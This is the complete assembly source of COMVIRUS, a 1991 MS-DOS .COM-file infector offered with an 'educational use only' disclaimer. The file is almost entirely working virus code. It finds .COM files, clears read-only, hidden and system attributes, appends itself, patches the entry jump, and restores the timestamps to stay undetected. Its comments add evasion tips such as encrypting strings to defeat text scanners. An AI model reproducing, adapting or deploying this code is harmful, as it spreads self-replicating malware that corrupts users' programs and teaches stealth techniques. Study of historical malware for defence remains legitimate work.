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459 lines
18 KiB
NASM
459 lines
18 KiB
NASM
title COMVIRUS
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subttl By Drew Eckhardt
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subttl Latest revision: 4-28-1991
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;The author of this virus intends it to be used for educational
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;purposes only, and assumes no responsibilities for its release,
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;dammages resulting from its use, including but not limited to
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;equipment dammage or data loss.
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;By assembling or examining this program, The user agrees to accept all
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;responsibility for this programs use, or any portions of the code
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;or concepts contained within. The user also agrees to not publicly release
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;this virus, and to exercise necessary precautions to prevent its escape.
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;The user accepts all responsibility arising from his actions.
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;Don't come crying to me if your hard disk gets infected,
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;as THERE IS NO ANTIDOTE. HAHAHAH.
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;Revision history:
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;4-13: initial bug-free release, size=424 bytes with carrier
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;4-15: added no date change support, size=438 bytes with carrier
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;4-16: minor documentation changes, size=438 bytes with carrier,
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; NO CODE CHANGE from 4-15 revision
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;4-21: fixed missing hex h suffixs, made MASM friendly,
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; fixed incorrect assume statement (assume statements are ignored
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; by A86) enabled hard/floppy infection based on floppy_only status
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; size=438 bytes IF floppy_only, 424 bytes if not, with carrier.
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; minimum virus length = 419 bytes
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;4-23: added control over how many programs are infected per run,
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; switched method of infection, from copying to DTA then writing
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; to disk to straight write to disk from memory.
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; size=412 bytes IF floppy_only, 398 bytes if not, with carrier.
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; minimum virus length = 393 bytes
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;4-28: used set DTA instead of default DTA/copy command line
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; buffer, which had been used based on incorrect assumption
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; eliminated calls to get time/date, get attribs
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; by using information from find first/find next functions 4eh/4fh
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; made warning optional for reduced space if desired. Also
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; changed mov reg16, bp add reg16, constant to shorter LEA instruction.
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; size=354 bytes IF floppy_only, warning on W/carrier
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; 340 bytes IF w/warning & carrier program
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; 286 bytes w/o warning, in program
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; minimum virus length = 281 bytes for virus itself
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;4-28pm: instead of near CALL-pop sequences everywhere, switched to
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; a single CALL near ptr Reference_Point, putting the result into
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; si now that (until the end) string mode addressing is not used.
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; Changed places where a register (used as an index)
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; was being loaded THEN added to a single LEA isntruction
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; size = 340 bytes if floppy_only, warning on w/carrier
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; size = 326 bytes if w/warning & carrier
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; size = 272 w/o warning
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; minimum virus length = 267 bytes for the virus itself
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;4-28pm2: Eliminated unecessary flush buffers call.
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; size = 336 bytes if floppy_only w/carrier
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; size = 322 bytes w/warning & carrier
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; size = 268 w/o warning
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; minimum virus length = 263 bytes for virus itself
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;4-30: restored 5 bytes of original code at CS:0100
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; before infecting other programs, allowing the
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; original code field to be modified so one disk write could be
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; used instead of two
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; minor documentation revisions - corrected incorrect
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; opcodes in documentation
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; size = 326 bytes if floppy_only w/carrier
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; size = 312 bytes w/warning & carrier program
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; size = 258 bytes w/carrier program
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; Minimum virus length = 253 bytes for the virus itself
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;NOTE: The program is currently "set up" for A86 assembly with all
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;conditional assembly symbols. #IF and #ENDIF should be replaced with
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;MASM IFDEF and ENDIF directives for propper operation.
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;Also, instead of using EQUates to define control symbols, the /D
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;option or DEFINE could be used.....
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;COMVIRUS.ASM must be assembled into a .COM file inorder to function
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;properly. For convieniece, I recommend an assembler like A86 that will
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;assemble to a .COM file without having to go through LINK and EXE2BIN
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;As is, it will infect .COM files located on the current disk.
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;ONLY if it is a floppy disk, ONLY in the root directory.
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;This is a .COM infector virus, which, does nothing other than print a
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;warning message, and spread to all files on the default disk IFF it is
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;a floppy disk, in the root directory.
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;Theory:
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;This is a non - overwriting virus. I took special precautions to preserve
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;all functionality of the original program, including command line, parsed FCB,
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;and segment register preservation. This makes the virus harder to detect.
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;The .COM file is a memory image - with no relocation table. Thus, it
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;is an easy target for a virus such as this.
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;Infected file format
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;jmp near ptr xxxx
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;cli cli ;ID bytes
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;ORIGINAL program code, sans 5 bytes
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;5 bytes ORIGINAL program code
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;VIRUS
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;This format makes infection VERY simple. We merely check for our signature
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;(in this case cli cli (fa fa) - instructions that no programmer in his
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;right mind would use - loading the original five bytes in the process.
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;These original bytes are written to the end of the program, then
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;A jump to where the virus is.
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;While infection is easy, this method presents some coding problems, as the
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;virus does not know where in memory it is. Therefor, When we want to access
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;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the
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;stack which is then popped. Addresses are then calculated relative to this
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;via LEA
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;To run the program as normal, command line is restored, registers restored,
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;And original code copied onto the first five bytes of the program.
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;Program control symbols defined here
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floppy_only equ 1
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infect_per_run equ 1 ;number of programs infected per run
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warn_user equ 1
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_TEXT segment byte 'CODE'
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assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT
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org 100h
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Start: jmp infect;
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;This is our signature
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cli
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cli
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;Original code is the data field where we store the original program code
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;which will replace our signature and jmp to infect
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Original_Code: int 20h ;five bytes that simply terminate
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nop ;the program
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nop
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nop
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;Data for the virus. In a destructive virus, you would want to encrypt
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;any strings using a simple one's complement (not) operation so as to
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;thwart detection via text search utilities. Since we want detection to
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;be easy, this un-encrypted form is fine.
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Start_Virus:
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#IF warn_user
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Warning db "This file infected with COMVIRUS 1.0",10,13,'$'
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#ENDIF
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;VirusMask is simply an ASCIIZ terminated string of the files we wish to
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;infect.
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VirusMask db '*.COM', 0
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Infect:
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push ax ;on entry to a .COM program, STACK:
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;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp
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;for the two FCB's in here. Save
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;'em
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;I use special trickery to find location of data. Since
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;NEAR calls/jmps are RELATIVE, call near ptr find_warn is
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;translated to e8 0000 - which will simply place the location
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;of Reference onto the stack. Our data can be found relative to
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;this point.
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call near ptr Reference ;All data is reference realative to
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;Reference
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Reference: pop bx ;which is placed into bx for LEA
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;instructions
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;bx now contains the REAL address of
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;Reference
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;si points to real address of original
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;code field
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lea si, [bx-(offset Reference - offset Original_Code)]
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mov di, 0100h ;original code is at 100h
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mov cx, 5 ;5 bytes
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cld ;from start of buffer
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rep movsb ;do it
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mov si, bx ;since BX is used in handle
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;based DOS calls, for the remainder
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;of the virus, si will contain the
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;actual address of reference
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#IF warn_user
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;Always calculate the address of data relative to known Reference
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;Point
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lea dx, [si-(offset Reference - offset Warning)]
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mov ah,9h ;DO dos call, DS:DX pointing
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int 21h ;to $ terminated string
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;We want to make sure that the user gets the message
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WaitForKey:
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mov ah, 0bh ;we will wait for a keypress
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int 21h ;signifying the user has
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or al, al ;seen the message.
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jz WaitForKey
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#ENDIF
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#IF FLOPPY_ONLY
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;Since this is a simple demonstration virus, we will only infect
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;.COM files on the default drive IFF it is a floppy disk....
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;So, we will get information about the disk drive.
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push ds ;ds:bx returns a byte to
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;media descriptor
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mov ah, 1bh ;get disk information STACK
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int 21h ;DOIT ax (drive ID's)
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cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp
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pop ds ;restore ds STACK
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jne Floppy ;if it was hard.... ax <--sp
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jmp near ptr done ;we're nice guys and are done
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Floppy: ;Since it was floppy, we can go on with the infection!
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#ENDIF
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;The default DTA, as is will give us problems. The designers of
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;MickeySoft DOS decided to put default DTA at ofset 128 in
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;the PSP. PROBLEM: This is also where the user's precious command
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;line is, and we MUST remain undectected. SO.... we allocate a
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;DTA buffer on the stack. 43 bytes are needed, 44 will do.
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sub sp, 44 ;allocate space for findfirst/findnext DTA
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mov bp, sp ;set up bp as a reference to this area
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;Set the DTA
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mov dx, bp ;point DS:DX to our area
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mov ah, 1ah ;set DTA
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int 21h
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;Set up pointers to data in DTA
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dta equ word ptr [bp]
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file_name equ word ptr [bp+1eh]
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attributes equ byte ptr [bp+15h]
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time_stamp equ word ptr [bp+16h]
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date_stamp equ word ptr [bp+18h]
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file_size equ dword ptr [bp+1ah]
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;We dynamically allocate a variable to store the number of programs STACK
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;The virus has infected. FCB drives
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; bp--> 44 byte DTA
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infected_count equ byte ptr[bp-2]; Infected_Count
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xor ax, ax ;zero variable, sp--> buffer (6 bytes)
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push ax ;allocate it on the stack
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sub sp, 6 ;allocate small buffer
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;Now, we begin looking for files to infect.
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lea dx, [si - (offset Reference - offset VirusMask)]
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;DS:DX points to the search string STACK
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mov ah, 4eh ;find first matching directory entry FCB drives (word)
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mov cx, 111b ;only default directory, FILES
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;hidden, system and normal
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int 21h ;doit bp--> 44 byte DTA buffer
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; infected count (word)
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jnc Research ;carry is clear when a file was sp--> 6 byte buffer
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jmp nofile ;found.
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ReSearch:
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;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx
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lea dx, file_name
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;Since this is a virus, we want to infect files that can't be touched by
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;DOS commands, this means readonly, system, and hidden files are at our
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;mercy. To do this, we rely on the findfrst/next attributes and other data
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;to restore the attribute byte to the original settings. get/SET can fix
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;them to be suitable
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mov cl, attributes
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and cl, 11100000b ;not readonly, system, or hidden STACK
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; FCB drives
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mov ax, 4301h ;set attributes bp--> buffer (44 bytes)
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int 21h ; buffer (6 bytes)
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; sp--> infected_count
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jnc NoError ;check for error
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jmp Restore_Flags
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NoError:
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mov ax, 3d02h ;now, open file using handle,
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;read/write access
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int 21h ;
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jnc NoError2 ;IF there was an error, we are done
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jmp Restore_Flags ;But we don't need to commit or close
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NoError2:
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mov bx, ax ;The handle was returned in ACC.
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;Howwever, all handle based DOS
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;calls expect it in BX
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;We don't want to infect the program more than once, so we will
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;check to see if it is infected.
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mov ax, 4200h ;seek relative to start of file
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; bx contains handle from open operation
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xor cx,cx ;cx:dx is file pointer
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xor dx, dx ;
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int 21h ;DOIT
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;Now, we will read in enough data to see if we have our virus signature.
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mov ah, 3fh ;read data
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lea dx, [si-(offset reference-offset original_code)]
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;into original_code buffer
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mov cx, 5 ;5h bytes
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; bx contains handle from last operation
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int 21h
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cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah
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jne GoApe ;if we aren't already infected,
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jmp Error ;go for it
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GoApe:
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;Since it is safe to infect, we will
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mov ax, 4202h ;seek end of file
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xor cx, cx
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xor dx, dx
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int 21h
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or dx, dx ;check for valid .COM format
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jz Less_Than_64K
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jmp Error
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Less_Than_64K:
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;Now, we must calculate WHERE the jump will be to. Let's examine the program
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;Structure:
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;jmp near ptr xxxx
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;Cli Cli }These add up to the original length
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;Orignal code sans 5 bytes
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;Original_Code (5 bytes) }The length of all virus data
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;Other virus data is equal to the difference in
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;Infect the addresses of Infect and Original_Code
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;End_Virus
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;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin)
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;However, in the 80x86, NEAR jumps are calculated as an offset from the position
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;of the next statement to execute (because of fetch/execute cycle operation).
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;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from
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;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code
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;+Original_Length-3);
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;Since AX already contains the original length, we will merely add
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;Space for the virus data, and take care of the three bytes
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;of code generated by the jmp near instruction.
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add ax, (offset Infect - Offset Original_Code -3)
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;calculate jump address
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mov byte ptr [bp-8], 0e9h ;jmp near instruction
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mov word ptr [bp-7], ax ;offset for near jmp
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mov word ptr [bp-5], 0fafah ;cli cli
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mov ax, 4200h ;seek begining of file
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xor cx, cx
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mov dx, cx
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int 21h
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mov ah, 40h ;write patched code
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mov cx, 5 ;5 bytes of code
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lea dx, [bp-8] ;our buffer
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int 21h
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mov ax, 4202h ;seek EOF
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xor cx, cx
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xor dx, dx
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int 21h
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lea dx, [si - (offset Reference - offset Original_Code)]; set start
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mov cx, (offset End_Virus - offset Original_Code) ;set length
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mov ah, 40h ;append virus to file
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int 21h ;doit
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inc infected_Count ;bump up the number of programs infected
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Error: mov dx,date_stamp ;restore date
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mov cx,time_stamp ;restore time
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mov ax, 5701h ;set them
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int 21h
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mov ah, 3eh ;close file
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int 21h
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Restore_Flags:
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xor ch, ch ;zero hi byte flags
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mov cl,attributes ;restore flags
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lea dx, file_name ;ds:dx points to ASCIIZ string
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;in the buffer, offset 1eh contains
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;the file name
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mov ax, 4301h ;get/SET flags
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int 21h ;Doit
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DoAgain:;See if we're done infecting
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cmp infected_count, infect_per_run
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jae NoFile ;if we're done, same as no new file
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mov ah, 4fh ;find next
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int 21h
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jc NoFile ;if carry is clear, DOIT again!
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jmp ReSearch
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;Since we have no more files, we will restore things to normal.
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NoFile:
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mov dx, 80h ;reset default dta at DS:80h
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mov ah, 1ah ;set DTA
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int 21h
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add sp, 52 ;deallocate buffers and infected_count
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;Put original code of program BEFORE it was infected back in place!
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Done:
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pop ax ;restore ax
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;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take
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;a RELATIVE address...... BUT a retn opcode pops a near absolute
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;address of the stack - saves us the trouble of some calculating
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;relative to here, and the trouble of a self-modifying
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;far absolute jmp! (5 bytes)
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mov bx, 0100h
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push bx
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ret ;easiest jump to cs:100
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End_Virus:
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_TEXT ends
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end start
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